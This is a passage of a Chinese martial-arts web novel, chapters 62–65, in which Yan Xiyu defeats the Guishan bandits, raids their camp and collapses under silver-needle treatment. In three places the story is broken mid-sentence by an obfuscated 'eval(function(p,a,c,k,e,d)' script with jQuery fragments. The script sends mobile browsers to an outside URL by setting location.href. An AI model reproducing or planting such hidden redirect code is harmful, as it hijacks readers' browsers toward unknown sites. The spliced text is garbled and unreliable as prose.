商队的人和马都歇在官道这边,燕惜妤的人也在这边,官道对面并没有人,只有山脚茂盛的荒草,再过去就是一大片树林。 燕惜妤看过去时,从树林里徒然窜出了一伙凶神恶煞的汉子,个个都是手执刀剑的练家子。 其中一人还高举着一面旗帜,上面绣有“鬼山”二字。 这伙人一出现,商队的伙计和镖师立即抽出刀剑站了出来,和对方隔着官道形成了对峙。 仲茂他们纷纷跑到燕惜妤的身边,就连阿盛都向这边走了过来。 燕惜妤在这伙人之中看见了一个有些眼熟的面孔。 之前在半山腰被燕惜妤吓得跳崖的三当家应该是攀崖的好手,他虽然走路有些瘸腿,但眼神却是凶光毕露,此时他正冲着这边大声喊:“二哥,就是他们!” 他在对面瞪着双眼扫向这边,一眼就看见了那个令他心惊胆颤的身影。只见他一个哆嗦后退了两步,然后指着这边继续喊:“二哥就是她就是她!她杀了我手底下的弟兄,还把我将要到手的货物都给抢回去了!” 果然是强盗,持强凌弱来抢商队,被反抗逃跑后,还要带着人上门来叫嚣,就好像货物原本是他们的。 鬼山寨的二当家是个落腮胡子,他对着这边冷笑两声,抬手一挥,有几人从后面走出来,手里还拖着俩个被揍的鼻青脸肿的人。 仲茂他们顿时大惊失色,燕惜妤略微眯起了眼睛。 “仲四?!” 商队那边的人也发狠地抓紧了手中的刀剑,个个表情愤恨不已。 “茅根?!” 在他们的怒吼中,燕惜妤慢慢向前走了过去。 鬼山寨的三当家瞪大着眼睛,伸手指着她:“二哥,就是她就是这个女人!!” 他一紧张,就把倒在地上的仲四给踩了一脚。 仲四吃痛地抬起头,勉强睁开肿胀的眼睛看向这边,一见到走过来的人影,他顿时从嗓子里就挤出委屈的声音。 “姑娘,他们打打打打打打打……”最后一个“我”字还没说出口,一道身影忽然重重地倒在了他身侧,吓得他瞬间卷缩着身体。 燕惜妤不知何时已经站在了他的脚边,而在她的脚边,倒着脸埋在土里的刚才还叫嚣个不停的鬼山寨三当家。 “嘎!!”鬼山寨二当家瞬间愣在当场。 他瞪着眼前的人,脸上还是嚣张的表情,脚下却已经在后退。一边后退还一边喊:“鬼山寨的弟兄们!上!快给我杀了这个女人!!” 他们山匪一向是以人多欺人少,平时想劫谁杀谁,他们当家们只需动嘴,就有一干凶神恶煞且要钱不要命的手下人冲在最前头。 这次也一样,鬼山寨二当家看着手下蜂拥着冲过去,嘴角露出残忍的笑容。 只不过下一霎,他嘴角的笑就僵住了。 而冲在他面前的那些山匪,一个个的高举着刀剑却定在原地不敢再往前。 他们表情充满恐惧,眼神全是骇然! 从他们那瞪圆的眼中可以看见,倒了一地的山匪,而在那些倒地的山匪之中,立着一个手无寸铁的女子。 这女子赤手空拳,撂倒了鬼山寨大半山匪! “呃……二当家……这是哪路煞神?!!”有山匪颤着声问,“二当家?二当家说句话啊!!” 二当家已经说不出话! 他这次出来,带了寨里半数的弟兄,一眨眼的功夫,就在他面前倒下了大半! 这还怎么打?!他要是冲上去,就是自寻死路! “撤!”最后二当家吼出了这个字,然后带着剩下的山匪全都窜入了树林,转眼间就消失的无影无踪。 只留下一地爬不起来的山匪,和目瞪口呆的商队伙计还有镖师。 “老四?!”仲茂一个箭步冲了过来,蹲在仲四身旁想伸手扶他,结果一碰到仲四,对方就哀嚎个不停,他只能喊佟槿方,“佟兄弟佟姑娘,快过来看看老四!” 佟瑰方俩姐弟跑过来的时候,曾管事也带着手下跑了过来:“茅根你怎么样?” 茅根身上的伤比仲四要重些,他是商队的护卫,见到山匪出来,他第一时间就是和对方搏斗,山匪对他比对仲四下手要狠。 但就算是这样,仲四也被揍出了一身令人惨不忍睹的伤。 “呜呜呜!”仲二虽然是二哥,但他比三个弟弟爱哭,一见仲四这样,他顿时就嚷了起来:“给我刀!我要和那些山匪拼命!” 旁边被他一嗓子嚷得差点要聋的曾管事对他翻了个白眼。 曾管事看着眼前倒了一地的山匪,再去看那纤瘦的女子身影时,双眼亮的吓人! 当真是天下无敌的女侠啊! 要是换了往常,他们商队路遇劫匪时,哪次不是和劫匪拼个你死我活的,从来就没有像此次这样,一伙劫匪与他们面对面,剑拔弩张之时,他们这边只需出去一个赤手空拳的人,就能把劫匪撂倒赶跑! 女侠要能是他们商队的女侠就好了! “老四啊!你为啥子不说话啊!”仲二还在嚷着。 曾管事瞥了他一眼。 可惜了,女侠是这些蠢货的女侠。 燕惜妤看着消失在树林中的山匪,这才转身走过来。 她看着正在给仲四查看伤口的佟槿方:“槿方,仲四的伤怎么样?” “伤了一条胳膊和一条腿,需要些时日才能痊愈,”佟槿方抬头看她。 仲四半边身体不能动弹,仲茂搀扶着想拽他起来,碰他一下,他额头就冒出豆大的冷汗。 “你让他躺一会吧,”燕惜妤对仲茂说,然后转头去看仲五,语气很淡,“仲五,你能把鬼山寨找出来吗?” “能!”仲五一挺胸膛,攥紧了手中的砍刀。 “阿妹?”正在为仲四的伤担心的罗采春吓了一跳,“你把那什么山寨找出来是要做什么?” “我去给仲四报仇,”燕惜妤缓缓地说,“鬼山寨敢伤仲四,我要去平了整个山寨。” 她这话轻飘飘的,却有如千斤重般砸在了众人的心里。 尤其是曾管事,看向仲茂几人时,他脸上那叫一个羡慕妒忌。 这些人真是走了狗屎运,能得到这位女侠的庇护,如若他是女侠的手下,他就敢在整个大承横着走! 和曾管事激动的心情不同,仲茂他们却并不是像他那样想的,就连仲四也一样。 “姑娘,别别别找……”仲四一紧张,嘴巴就更不利索了。 仲茂和他同村一起长大,自然知道他想说什么:“对啊姑娘,咱别去找他们了,山寨是他们的老巢你不要去,把他们赶跑了就行了。” 之前就是让他们逃了回去,这次就把仲四打伤了。这回他们跑了,下一次不知道又会打伤谁。 “我过去看看,”燕惜妤低头看了看仲四,对佟瑰方说,“佟阿姐,劳你给仲四治一下伤。” 然后她直起身体,垂着眼看佟槿方:“佟槿方,把东西带上跟我走。” 她这话照样是轻飘飘的,却把佟槿方的手给吓得一哆嗦:“你该不会是想?!” 他还蹲在地上,抬头看向燕惜妤时,他的脸色比刚才看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601114|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见那伙山匪时还要难看。 不过燕惜妤的脸色却很平静,她转过身对罗采春说:“三姐,你帮忙看着几个小孩,还有仲茂他们,让他们待在这等我回来。” 她脸上的表情和平日没两样,但罗采春的心却突突直跳,她刹那间就想起了之前在城里佟瑰方的那天。 那一天也是这样,燕惜妤对她说让自己等。 可这回和上次并不一样啊,上次是因为佟瑰方被关着,所以她要亲自将人带出来。而这回山匪已经逃了,她可以不去的。 “非要去山匪的老巢吗?”罗采春握着燕惜妤的手,眼眶渐渐泛红,“他们跑就跑了,让他们跑吧,你别去了!” 燕惜妤对她笑笑,轻轻地说:“三姐放心,我心里有数。” 燕惜妤看着眼前的罗采春,在罗采春还是三丫时,她敢勇于反抗要将她卖给教坊司的爹娘,所以她逃了。 但在她逃跑的路上,却被匪徒抓住了。如果那天她们俩人没有因躲避一场雨而遇见,罗采春今时今日也不知还能不能活着。 鬼山寨的山匪连有这么多护卫和镖师跟着的大商队都敢劫,那些手无寸铁的老百姓,附近的村民又哪能逃得了。 而且鬼山寨众山匪短短几日就聚了这么多山匪来劫同一支商队两次,他们这是摆明不把衙门放在眼里。 燕惜妤想到这,看向了曾管事:“曾管事,你知道这鬼山寨为什么敢这么猖狂吗?”这都已经把衙门当成空气了。 曾管事忽然被问,瞬间就来了精神:“嗐,还不是因为那山头在平县和麀州交界,那些被朝廷通缉的流贼和盗匪一个劲地往边地躲藏,但因为乌州边地有羿家在,所以他们就都聚在了埬州和平县,而这伙占据了山头的草寇就扯起了鬼山寨的名头,专门劫过往的商队和附近的村子,但那鬼山处于平县和麀州交界,估计两边衙门是想着让对方先去探路,所以谁都没有先出兵去剿匪。” “那他们为什么不能一同去剿匪啊?”已经不嚷的仲二忍不住问。 曾管事瞥他:“两地衙门一同去剿匪,功劳算谁的?” “……为了抢功劳?老百姓的命都不顾了吗?”仲二喃喃道。 “咱老百姓的命才值几个钱,剿匪要是成功,衙门官老爷就能去皇都当更大的官了,”曾管事早就见惯了这些事,他讥笑一声,“仲二兄弟,这世上是有好官,但咱老百姓没那个命,所以碰上的都是贪官污吏。” 仲二垂着头看还躺在地上的仲四,仲四那鼻青脸肿的样子忍不住又让他落泪:“我可怜的老四啊!” 他嚷他的,罗采春仍然紧紧握着燕惜妤的手:“阿妹,听见了吗,衙门都不管,你也不要管。” 燕惜妤却在想曾管事刚才说的两句话。 曾管事说“那些被朝廷通缉的流贼和盗匪一个劲地往边地躲藏”。 燕惜妤看了看罗采春和佟瑰方俩姐弟,这三个人,还有她自己,都被通缉着的人,也正要躲到边地去。 曾管事还说“但那鬼山处于平县和麀州交界,估计两边衙门是想保存实力,所以谁都不想先去剿匪”。 而居住在野猪领附近的悬崖村的村民,同样是因为地处两州交界,所以没有衙门去帮他们,让他们一直深受着野猪闯村带来的危害。 就在这时,忽然响起了仲茂的声音:“姑娘就听罗姑娘的吧,别去山匪的老巢了,山匪都已经敢占领一整山称王称霸了,连衙门都不管,你也别管了。” 也不知道为什么,在听见仲茂说“山匪占领一整山称王称霸时”,燕惜妤的心脏忽然跳了一下。 63. 第63章 “阿妹?”罗采春看燕惜妤一副若有所思不说话的样子,以为是因为自己劝她不要去山匪的老巢所以生气了,不过想想也对,虽然自己喊她阿妹,可其实阿妹并不是她的亲阿妹,而是自己的救命恩人。 “我还是想去看看,”燕惜妤对她笑笑,“三姐你和佟阿姐在这里等我,我去去就回。” 她说完,转身看着佟槿方说:“把东西带上跟我走。” 佟槿方不知道是因为被山匪吓得脸色苍白,还是因为燕惜妤叫他去拿银针才吓白的。 “阿弟,我去吧,”佟瑰方在他身边低声说。 “不,阿姐你留在这里,”佟槿方咬了咬牙说,“我跟她过去。”他边说边转身向板车的方向走去。 羿衍椋一直站在旁边听他们说话,这时看佟槿方一脸郑重地走向板车,他特地多留意看了两眼,发现佟槿方从一个匣子里拿出了一卷布。 羿衍椋常年在战场上,见惯了营帐里的随军郎中,一眼就看出了佟槿方拿出的那卷布里,放着郎中给人治病时用的银针和小刀。 羿衍椋看了看燕惜妤,不明白她为什么让佟槿方拿上这些东西。 要给谁治病?给她自己?所以阿盛之前去问佟槿方,对方漏嘴说是给燕惜妤治病,难道是真的?什么病是佟槿方这样一个十六七岁的小郎能治好的? 羿衍椋蹙着眉走到燕惜妤身边站着。 他一走近,燕惜妤就留意到了他:“阿七,你这是?” “我也跟着去吧,”羿衍椋低声说,“你让仲五兄弟带路,又让佟兄弟跟着,总得有人帮你看着点他们,否则你和山匪动手时还要分出心神顾忌他们。” 其实他自己也知道没这种必要,燕惜妤是什么人啊,千军万马都未必能困得了她,闯区区一座小山寨根本不在话下。 但经过这些日子的相处,羿衍椋多少看出了燕惜妤是那种把身边人看得比较重的性格,所以他才故意说要去帮着保护佟槿方和仲五。 果然燕惜妤一听,就上下打量了他几眼:“你真能行?” “我说是猎户,也不是骗你的,”羿衍椋看着她,“你大可放心去做你的事,我会看着他俩的。” “那你要说到做到,”燕惜妤冲仲茂喊了声,“仲茂,给咱阿七一把剑。” 羿衍椋听了挑挑眉:“为何给我剑?”要知道仲茂他们手上有短刀长剑还有砍刀,每一样都是利器,而剑是里面最轻的。 当然是因为你长得美,她还没看过美人舞剑呢。 “你有伤在身,剑比较轻……”燕惜妤一脸正经地说,这才猛地想起他身上还带着伤,表情顿时有点迟疑,“可是你身上还有伤。” 这时,曾管事带着他商队的护卫和镖师走了过来:“女侠要是去山匪老巢,我这些人都随女侠过去,定能将那什么鬼山寨连根拔喽!” “不用,”燕惜妤拒绝他,“你的人要留下,你商队的货物,我三姐都还在这,你的人不能离开。” “哎,我听女侠,”曾管事连忙点头。 羿衍椋忽然开口:“你们商队的镖师有自己独特的记号标吧,派一名镖师跟着源路留下记号,如果我们长久没有回来,你们就找过去,同时差人去衙门报官。” 曾管事并没有立即点头,而是先看向旁边的人:“女侠?” “听阿七的,”燕惜妤点头表示同意,但眼睛却是看向阿七。 曾管事马上就喊了一名镖师出来,那镖师浑身腱子肉,走路尤其稳,单手抓着一把虎头刀,看样子是名好手。 羿衍椋侧头低声说:“我身上的伤并无大碍,我和他一同过去,帮你护着仲五兄弟和佟兄弟。” 燕惜妤仍然看着他,见他眼神坚定,想了想才说:“也护好你自己。” 然后她看看罗采春和佟瑰方,俩人都不安地看着她,她没再说话,随即转身喊上仲五:“仲五,带路。” 仲五一个箭步,人已经冲向了山脚下的树林。 佟槿方紧紧跟着她,那名镖师跟在俩人身后。 羿衍椋接过仲茂递过来的长剑,给盛樗容递了一个眼神,在盛樗容看过来时,扫了一眼曾管事,然后转身跟上了燕惜妤。 盛樗容无奈地在心里叹了口气。 他七哥这几日怎么尽干出些逾常的事来? 不过叹气归叹气,他还是朝着曾管事走了过来。 曾管事这时正在拍着仲茂的肩膀:“仲茂兄弟啊,你跟了这样的女侠,可真是天大的福分啊!” 仲茂一歪肩膀抖落他的手:“别喊我兄弟,姑娘要去山匪老巢你也不帮着劝几句,可见你这人是一肚子坏水,哼!” 听着他的冷哼和数落,曾管事也不生气,他有既羡慕又嫉妒的眼神看着仲茂他们几人:“你们啊,真是有福分!” 就在这时,旁边响起了声音:“曾管事。” “阿盛兄弟?”曾管事连忙回头露出笑容。 女侠身边就这几个人,他早就把所有人的名字都打听清楚了。 只要他和女侠身边的人搞好关系,等到日后某一天,他或许也能得到女侠的庇护,到那时,他就能在大承横着走,看还有哪个不要命的匪徒敢劫他的道! 也不知盛樗容和曾管事悄悄说了些什么,过了一会儿,曾管事就带着两名镖师和一名心腹手下分别骑着马离开了。 就在他们离开没多久,山里的仲五已经带着燕惜妤几人找到了鬼山寨。 鬼山寨说是寨,其实不过就是几座木屋搭建在一起,外面连围墙都没有,只在屋子外面的空地上竖了一根挂着旗帜的竹竿。 就这样所谓的寨子里住着的山匪,却常年在山道上劫往来的商队,但凡两地的衙门能有其中一方过来剿匪,也不至于让大承的百姓白白受了那么多的苦,银钱被劫还能赚,那些为此丢了性命的百姓,却永远留在了这远离家乡的大山之中。 羿衍椋也不知道想到了什么,很轻地冷哼了一声。 燕惜妤看了他一眼,然后就要踏出藏身的这片树林。 佟槿方却一把扯住了她的手臂:“你真要过去?”他的眼中有着明显的惊惧和担心,既害怕要给她扎银针,又担心她的安危。 “都找到这里了,我当然要过去,”燕惜妤说。 “何必呢,大家都没事,我们还要赶路去乌州,就不要节外生枝了,”佟槿方试图将人劝回去。 “仲四受伤了,”燕惜妤看着他,“山匪劫道,是我把他们打跑的,他们不来找我,却伤了仲四,仲四多无辜啊,我不能让他白受伤。” 说起来仲茂几人和她是真没什么关系,顶多算是一同去乌州的同路人,仲四挨的这顿打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617457|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,真的是太冤枉了。 “那、那也是阿七引起的,”佟槿方说这句话的时候,根本就不敢看阿七,他只想着该如何说服燕惜妤,他真的很怕她死在他的银针之下,“要不是他骑着马跑过去,山匪也不会被他引回来。” 如果山匪没有被引回来,他们这些人根本就不会和山匪碰上,也就不会发生后来的事,仲四也不会无辜挨了顿揍。 羿衍椋看看他,又去看燕惜妤。 燕惜妤有些好笑地瞥了眼佟槿方:“你怕什么,我之前就说过,出了意外我不怪你,你再说这样的话,阿七就该被你说哭了。” 羿衍椋立即配合地露出伤心的表情。 佟槿方看看他,有些心虚地低下了头。其实他也知道,阿七骑着马过去探路没有错,错的是那些山匪。 只是因为阿七骑了一匹骏马,山匪觉得好就要来抢,抢不过被打跑了反而去报复对方身边的人,如果人人都是山匪这样想的,那这世间就真的没王法了。 燕惜妤也知道,所以她不会怪阿七,她之前说再有下一次就杀了他,指的是阿七将山匪引过来的事。但凡阿七当时引着山匪往反方向跑,她都不至于会气到想杀了他。 不过…… 燕惜妤抬眼看看阿七,这人今日愿意跟着她来到山匪老巢,倒也是个胆大的。 羿衍椋垂眸看她:“嗯?” “没事,你们在这等着,我过去一下,”燕惜妤说着往外踏出了一步。 羿衍椋把手里的长剑递给她:“把剑带上。” “不用,”燕惜妤潇洒地一摆手,“这些刀剑对我没多大的用处。”她先前之所以会请铁匠打造匕首和链镖,只是用来提醒自己要手下留情。 对于她来说,赤手空拳才是大开杀戒的时候。 燕惜妤慢悠悠地朝着山匪的老巢走去,仲五紧张地攥紧了拳头,而佟槿方却是双手合十,转着身地拜天拜地:“菩萨保佑啊!!” 羿衍椋看着燕惜妤的背影,她的背影看着单薄而纤弱,且手中无兵器,但她却没有迟疑和犹豫,在走到那竖立着的旗杆旁,忽然一脚踹了过去。 “咔嚓”一声,旗杆应声倒下,发出“咚”的响声。 这骤然的声响立即惊动了山寨里面的山匪,很快就有不少山匪从屋里手持刀剑冲了出来。 二当家一路逃回来,这会儿正在向大当家添油加醋地说着刚才的事情,忽然听见外面有动静,他猛地就原地蹦了起来。 “大哥大哥大哥!那煞神追来了!!” “老子正好去会会是哪个不要命的敢闯咱鬼山寨!”大当家从铺着狼皮的高些椅上站了起来,一手将立在椅子旁的长柄板斧捞在手里。 他的身躯和四肢都很壮实,板斧抓在手里,瞪圆的双眼闪着凶光。 二当家跟在他身后走出来,原本还趾高气扬的样子在看见外面又倒了一地的鬼山寨的弟兄后,他瞬间就缩紧了脖子,连说话的声音都颤抖个不停:“大大大哥,就是她就是她就是这个女人!咱三弟就是栽在她手上!” “老子叫她有来无回!”大当家向前走来,同时将斜在身侧的板斧猛力挥了一下,板斧发出了“唰”的斩风声。 背对着他们的燕惜妤似是听见了这道不明显的破空声,一甩手将手里的山匪丢了出去,同时转过身来。 64. 等64章 这一刹那,山林中忽然狂风骤起,将附近的树木吹得“簌簌”作响。 山风刮过燕惜妤的脸,她缓缓地眯起了眼睛。 而在这时,鬼山寨的大当家却是提着板斧向着她猛冲了过来:“老子要把你劈成两半!” 他身躯壮实,四肢健硕,惯用的又是大板斧,一斧头劈下来,极有可能会把人像劈树桩一样劈成两半。 燕惜妤平时和人动手,从来都是不后退的,但此时她却后退了一步。 还守在树林里的羿衍椋脸色骤变,身体下意识就要冲过去,但下一霎,他却又猛地停下了脚步。 只听“铛”的刺耳金属声乍然钻入大家的耳中,再定睛一看,大当家双手举着板斧也定住了,在他的脚下,有着一把断成几截的大刀。 燕惜妤右脚又踩住了一把短刀的刀柄,脚尖略向上一挑,短刀被她踢着直飞向大当家。 大当家舞动着板斧用力一挡,又是“铛”的一声,短刀被震的瞬间又断成了好几截。 这时燕惜妤挪了一下脚,往旁边走了两步,那里掉着好几把刀剑。 二当家藏在门板后伸着脖子看到这一幕,他眼珠子一转,忽然就激动了起来:“大哥,这女人不敢让你靠近!她怕你过去,所以才一直用那些刀剑拦你!大哥快冲过去劈死她给咱三弟报仇!” 大当家这时也看出来了,他狞笑着抬起了脚。 “铛”的一声,又有一把剑被燕惜妤踢了过来,大当家轻松地挥舞着板斧给挡开了。 他一步步向前走,“铛”“铛”“铛”的金属声接连响起,而大当家也把俩人之间的距离越拉越近。 这时二当家倒是不怕了,他从门板后面走了出来,凶神恶煞地伸出手指头说:“大哥!劈了她!” 与此同时,“铛”“铛”“铛”三声紧密的金属撞击声之后,却是连着“嘭”的重物砸在地上的响声。 二当家原本狰狞的表情瞬间僵在了脸上。 大当家背对着他,手里的板斧不知在何时已经掉在了地上,而原本该与大当家面对面的女人,此时却已经站在了大当家的身后。 “大、大大哥?!!”二当家像是怕惊动什么似地极小声喊了一句。 燕惜妤看着他,向着他踏出了一步,她一动,背对着她立着的大当家“嘭”的一下,面朝地面砸了下去。 “大哥?!!”二当家瞬间吓软了腿,他“咚”地跪了下来,“女侠饶命啊!不要杀我!我、我知道山寨里的银子藏在哪!我、我带女侠去取!求女侠饶了我这条狗命!!” 燕惜妤刚想走过去,却见一道人影从旁边快步走了过来。 羿衍椋不知从什么地方找来了麻绳,他用麻绳把二当家五花大绑后,还给二当家的嘴里塞了团野草,然后顺手把人给敲晕了。 “这人留着还有用,”羿衍椋怕燕惜妤会生气他多管闲事,于是走过来想解释,“我方才让阿盛……” 但他的声音却倏地顿住了,因为燕惜妤忽然伸出手抓住了他的手臂,燕惜妤戴着箬帽,他无法看到她的表情,于是低声问:“燕姑娘,你怎么了?” 燕惜妤紧闭着眼睛,就在刚刚,她的眼前忽然出现了天旋地转,如果不是抓着阿七的手臂,她这时说不定已经倒在地上了。 “佟槿方……”她发出的声音很虚弱,轻的如果不是羿衍椋离她太近都未必能听见。 羿衍椋一蹙眉,立即喊佟槿方:“佟兄弟你过来一下!” 燕惜妤一手撑在他的手臂上,另一只手却是忽然抬起去扯她自己头上戴的箬帽。 箬帽被她粗暴地连着发髻一起给扯了下来,长发披散而下,覆在了羿衍椋的手上。 羿衍椋有了刹那的失神。 被他喊了一声的佟槿方正单手抓着胸前的衣襟,他的银针正贴着胸膛放着,明明轻飘飘的几根银针,这时却仿佛有千斤重似的压着他快透不过气。 他害怕走过去,因为他一旦过去,就要给燕惜妤扎银针,银针一旦扎下去,燕惜妤说不定就真的再也醒不过来了。 燕惜妤此时还有意识,她单手撑着羿衍椋的手臂,另一只手垂下,手里还拿着被她扯掉的箬帽。 “你哪里不适?”羿衍椋蹙着眉低头看她,但她也低着头,他只能看到她挡着侧脸的头发。 “阿七,刚才你让镖师在跟过来的路上留下记号……”燕惜妤的声音很轻,就像虚脱无力说话的病人,“我都没想到这一点,多谢你。” 羿衍椋听了心里却是忽地一酸。 她哪里是没想到,她是根本无所依靠。 他是羿家少将军,他身后有着数十万羿家军的将士。而盛樗容是盛家长公子,他俩身后都有着家族的倚仗和仰承。 可燕惜妤没有这些,她只有她自己。而她身边的人指望着她,却帮不了她。 所以她在闯山匪老巢的时候,根本就没有想要会有人来帮她,就算她知道镖师可以留下记号,可她又能找谁来帮她? 没有人会来帮她,因为她没人可找。 “你我无需说这些客套话,”羿衍椋紧蹙着眉说,而这时,他忽然发觉燕惜妤的身体在渐渐往下坠,这是她的手快无力继续撑着他的手臂了。 “佟槿方你快过来!”羿衍椋冲佟瑰方吼了一声,吼人的同时,双眼却一直放在燕惜妤的身上。 佟槿方被他这声吼给惊得回过神来,他边跑过来边从怀里掏出了包着银针的那卷布,在跑到俩人身旁后,他定定地看着燕惜妤。 燕惜妤这时还能站着,她紧抓着阿七手臂的指尖和指甲因为用力过度已经泛着白。 羿衍椋见他人是过来了,却没有动作,于是忍不住催促他:“佟兄弟,燕姑娘这样难受,你只在旁边看着?”她让你过来给她治病,不是让你同我一样,只能在旁边干着急。 佟槿方看燕惜妤还站着,就知道她这时人还是清醒着的,她如果断气了,不可能还能站着抓阿七的手臂。 但他不甘心,仍然还开口喊她:“燕姑娘?” 他这时也不知道是希望她还清醒着,还是希望她失去意识。如果她失去了意识,他就不能给她扎银针,因为失去意识了再扎银针就起不了任何作用。 “没事,扎吧,”燕惜妤的声音听着虽然很虚弱,但她的的确确还清醒着。 佟槿方的心头重重一跳。 “你没听见她说得话吗?”羿衍椋不知道佟槿方在犹豫着什么,在他看来,既然燕惜妤带着佟家姐弟俩千里迢迢去乌州,而且这次来山匪老巢都还要带上佟槿方,那就说明燕惜妤是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我……”佟槿方被他攥着手,整个人忽然哆嗦了一下,然后颤着声音说,“那你……你帮我探一下燕姑娘的鼻息,看她……看她还有没有气……” 这下轮到羿衍椋猛地一抖。 什么叫看看她还有没有气息?!她要是没了气息,那不就是…… “你说什么?”他把佟槿方说的话听得清清楚楚,但他却像是没听清似的又问了心遍,“你方才说什么?” 佟槿方抬头看着他,眼中全是惶然,然后扯出一个比哭还要难看的笑容:“她还活着吗?” 只一句话,瞬间就让羿衍椋僵住了。 也不知道是不是因为心理作用,在听见佟槿方这句话后,羿衍椋只觉得自己的手臂快撑不住站着的燕惜妤了。 什么人会忽然变得很重? 羿衍椋和佟槿方四目相对,俩人眼中竟然不约而同地露出了慌惶。 羿衍椋想去看燕惜妤的脸,但他的脖子却忽然变得僵硬,令他无法动弹。 就在这时,燕惜妤之前一直拿在手里的箬帽忽然掉落在地。 佟槿方低头一看,瞬间发出了惊骇的尖叫! 在他发出尖叫的刹那,燕惜妤整个人向后倒下,羿衍椋的脑袋还是懵的,但他的手却下意识地一抬一搂,膝盖微曲腰背一弯,一眨眼功夫就已经把燕惜妤打横抱在了怀里。 燕惜妤的额头抵在他的胸膛上,散开的发丝盖住了半张脸,落在口鼻上的发丝时不时会被鼻息吹着飘起。 65. 第65章 这一幕正好被佟槿方看见,他下意识喊:“还有气!她还活着!” 这一声过后,他忽然镇静了下来。他的银针扎下去,燕惜妤并没有断气,她还活着。 她还活着,那他就不是杀人凶手。 佟槿方整个人都放松了下来,甚至还帮燕惜妤把掉在地上的箬帽给捡了起来。 只不过下一霎,刚捡起来的箬帽忽然又掉了下去。 佟槿方这时才想起他是把银针给燕惜妤扎下去了,燕惜妤现在也还活着。但是……她是还活着,却不能保证她还能清醒过来! 万一……她要是一直都像现在这样子呢?那不就和断气没什么区别?! 别慌!佟槿方!千万要镇定! 凡事等人醒来再说! 要是醒不过来……就把银针拔了,或许等银针一拔,燕惜妤就会醒了。 对,还可以拔银针! 佟槿方勉强稳住了惊乱的心神。 他低头愣愣地站着,又伸手想去捡掉在地上的箬帽,结果手还没碰到帽檐,他猛地又顿住了! ……燕惜妤要是醒过来后,我给她把银针拔掉……她会不会死?!! 佟槿方这下又开始变得六神无主。 我就说不能扎银针不能扎银针,她偏不听,非要让我给她扎银针,这下好了吧!我这银针一扎下去,她倒是无知无觉地睡着,却留下我来面对这些事情! 我该怎么办?我也不知道啊! 佟槿方想着想着,慌乱的内心莫名其妙地就涌出了些许怨气。 我佟家的秘诀上虽然是写了能预治的法子,但先祖同时也写了那法子并不一定有效,只是或可一试,因为先祖遇见的那个患有离魂症的人早已经死了。 连我先祖都没法子治愈的离魂症,我这十几岁的小郎更是没办法了啊! 再说,明明是燕惜妤她自己非要让我给她扎银针的,我是劝也劝过了,也尝试拖延…… 所以我是被逼的,而且我还有人证…… 对,阿七可以给我作证! 佟槿方自己为自己辩解了一通,把所有的事情都在心里理清楚了,这才长吁了一口气。 他伸手把地上的箬帽捡起来,还轻轻地抖落了一下帽檐上的沙土。 只不过当他抬头看阿七的时候,却发现对方的脸色很难看。 “你方才话里的意思是说燕姑娘会死?”羿衍椋一直垂眸看着他方寸大乱的样子,眼眸中渐渐露出厉色,“你给她用银针治病,不是治好她,而是用银针把她扎死?” “当然不是,是……”她自己动武后会断气,所以她才让我给她扎银针。 佟槿方下意识反驳,顿了一下后,却又闭紧了嘴巴。 他如果说出燕惜妤之前已经断气了许多次,估计没人会相信。 人要是断气那就是死了,死人断气却又还会再次苏醒…… 这事要是让其他人知道,会不会把燕惜妤当作妖邪给活活烧死? 他三姐和罗姑娘在知道这件事后,每次燕姑娘断气时,她们都会很紧张,罗姑娘不许任何人靠近断了气的燕姑娘,就是怕被别人知道燕姑娘会断气后又复活…… 这样说来,燕姑娘到底是人还是妖邪啊?! 佟槿方想的越多,脸上的神色变得就越怪异。 羿衍椋看他脸色变来又变去,总觉得这人肯定藏着事。 于是他冷哼一声后没好气地说:“我问你是不是会拿银针把燕姑娘给扎死,你却摆出这些脸色,难不成是在心虚?” “谁心虚了!”佟槿方立即瞪他,“方才你没听见吗?是燕姑娘自己让我给她扎银针的,也是你把我喊过的的,你敢说不是?”如果不是你三番两次地喊我过来,我才不会过来。 他还记恨着先前阿七吼他的事情。 羿衍椋又是冷哼一声:“我是听见燕姑娘让你给她扎银针,可你没给她扎针前,她还会和我说话,结果你三根银针扎下去,她就人事不省了,你是不是背着她在害她!” “我没有!是她……”佟槿方张开的嘴猛地又闭上。他不能说,他不能把燕惜妤会断气的事情给说出去。 羿衍椋忽然眯起了眼睛。 看来这人知道燕惜妤的病症,但他不敢说出来。是因为事关病人的隐私,还是因为燕惜妤的病有着什么蹊跷,所以才不能说? “行了,但愿你没害燕姑娘的心,”羿衍椋忽然收回了之前的咄咄逼人,意有所指地说,“你如果真害了她,你在大承就再也找不出第二个像她这样的人了。” “不需你提,我自然知晓……”佟槿方有点儿窝气。 以为是我想给燕惜妤扎银针的吗!明明是她自己非要让我扎的!我劝她就这样也很好,日后少些动武就不会断气,哪怕就算动武后断了气,她也会自己又活过来。 可她不愿意! 佟槿方越想越气,于是鼓着腮帮子悄悄瞪了一眼被阿七抱在怀里的燕惜妤。 